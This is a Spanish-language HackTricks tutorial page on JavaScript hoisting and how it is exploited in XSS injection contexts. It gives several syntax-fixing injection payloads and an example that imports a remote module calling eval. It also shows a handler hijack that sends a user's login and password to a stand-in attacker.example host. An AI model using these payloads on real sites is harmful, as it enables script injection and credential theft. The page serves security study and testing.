JS Hoisting

Reading time: 7 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Basic Information

En el lenguaje JavaScript existe un mecanismo conocido como Hoisting en el que las declaraciones de variables, funciones, clases o imports se elevan conceptualmente al inicio de su scope antes de que se ejecute el c贸digo. Este proceso lo realiza autom谩ticamente el motor de JavaScript, que recorre el script en m煤ltiples pasadas.

Durante la primera pasada, el engine parsea el c贸digo para comprobar errores de sintaxis y lo transforma en un 谩rbol de sintaxis abstracta. Esta fase incluye el hoisting, un proceso en el que ciertas declaraciones se mueven al inicio del contexto de ejecuci贸n. Si la fase de parseo es exitosa, indicando que no hay errores de sintaxis, la ejecuci贸n del script contin煤a.

Es crucial entender que:

  1. El script debe estar libre de errores de sintaxis para que la ejecuci贸n ocurra. Las reglas de sintaxis deben cumplirse estrictamente.
  2. La colocaci贸n del c贸digo dentro del script afecta la ejecuci贸n debido al hoisting, aunque el c贸digo ejecutado pueda diferir de su representaci贸n textual.

Types of Hoisting

Seg煤n la informaci贸n de MDN, hay cuatro tipos distintos de hoisting en JavaScript:

  1. Value Hoisting: Permite el uso del valor de una variable dentro de su scope antes de su l铆nea de declaraci贸n.
  2. Declaration Hoisting: Permite referenciar una variable dentro de su scope antes de su declaraci贸n sin provocar un ReferenceError, pero el valor de la variable ser谩 undefined.
  3. Este tipo altera el comportamiento dentro de su scope debido a que la declaraci贸n de la variable ocurre antes de su l铆nea real de declaraci贸n.
  4. Los efectos secundarios de la declaraci贸n ocurren antes de que se eval煤e el resto del c贸digo que la contiene.

En detalle, las declaraciones de funci贸n exhiben el comportamiento de hoisting tipo 1. La palabra clave var demuestra el comportamiento tipo 2. Las declaraciones l茅xicas, que incluyen let, const y class, muestran el comportamiento tipo 3. Por 煤ltimo, las sentencias import son 煤nicas en que son hoisted con comportamientos tanto de tipo 1 como de tipo 4.

Scenarios

Por lo tanto, si tienes escenarios donde puedes injectar c贸digo JS despu茅s de que se use un objeto no declarado, podr铆as arreglar la sintaxis declar谩ndolo (para que tu c贸digo se ejecute en lugar de lanzar un error):

javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
javascript
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
javascript
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
javascript
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn麓t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

M谩s escenarios

javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
javascript
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
javascript
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Anticipa declaraciones posteriores bloqueando un nombre con const

Si puedes ejecutar antes de que se analice una function foo(){...} de nivel superior, declarar un enlace l茅xico con el mismo nombre (p. ej., const foo = ...) impedir谩 que la declaraci贸n de funci贸n posterior vuelva a enlazar ese identificador. Esto puede ser abusado en RXSS para secuestrar handlers cr铆ticos definidos m谩s adelante en la p谩gina:

javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Notas

  • Esto depende del orden de ejecuci贸n y del 谩mbito global (de nivel superior).
  • Si tu payload se ejecuta dentro de eval(), recuerda que const/let dentro de eval tienen alcance de bloque y no crear谩n enlaces globales. Inyecta un nuevo elemento <script> con el c贸digo para establecer un verdadero const global.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks